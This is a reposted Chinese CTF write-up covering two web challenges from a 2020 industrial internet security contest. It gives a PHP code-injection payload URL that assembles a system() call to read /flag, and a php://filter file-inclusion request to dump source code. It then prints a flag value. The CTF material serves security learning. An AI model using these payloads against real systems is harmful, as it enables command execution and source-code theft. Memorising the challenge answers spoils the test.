

%3c?php+eval,2020全国工业互联网安全技术技能大赛Web题WP

转载

光露 于 2021-03-23 03:59:44 发布 289 收藏

文章标签: %3c?php+eval

0x00 SimpleCalculator 打开后 发现flag.php可执行数学函数 在网上找到一个原题
<https://www.cnblogs.com/20175211lyz/p/11588219.html> 可执行shell拿到f

0x00 SimpleCalculator

打开后,发现flag.php可执行数学函数,在网上找到一个原题:
<https://www.cnblogs.com/20175211lyz/p/11588219.html>

可执行shell拿到flag。

payload如下:

[http://eci-1cei547jhyas2r4f5r2.cloudeci1.ichunqiu.com/flag.php?search=\\\$pi=\(is_nan^\(6\).\(4\)\).\(tan^\(1\).\(5\)\);\\\$pi=\\\$\\\$pi;\\\$pi{0}\(\\\$pi{1}\)&0=system&1=cat%20/flag](http://eci-1cei547jhyas2r4f5r2.cloudeci1.ichunqiu.com/flag.php?search=\$pi=(is_nan^(6).(4)).(tan^(1).(5));\$pi=\$\$pi;\$pi{0}(\$pi{1})&0=system&1=cat%20/flag)。



0x01 easyphp

打开后发现是个文件包含的题目,可通过

<http://eci-2zegsp1aou4jdyibk8km.cloudeci1.ichunqiu.com/index.php?page=php://filter/convert.base64-encode/resource=index.php>

拿到源码:

flag{f60ae2bb-981d-49b1-bc3e-be7991d3b98e}

想学习更多网络安全知识，可以关注公众号“SCLM安全团队”。



lynnlovemin



CSDN认证博客专家

网络安全

Web渗透

李熠，中国石油规划总院高级开发工程师，对Java编码规范和编码技巧有着独特的见解，热衷微服务架构，曾作为中小型企业CTO，带领过超过30人的技术团队。现专注于网络安全尤其是web渗透方向的研究，长期活跃于各大SRC平台，为其提供漏洞报告。著有《Spring Cloud实战演练》一书

以上信息来源于网络，如有侵权，请联系站长删除。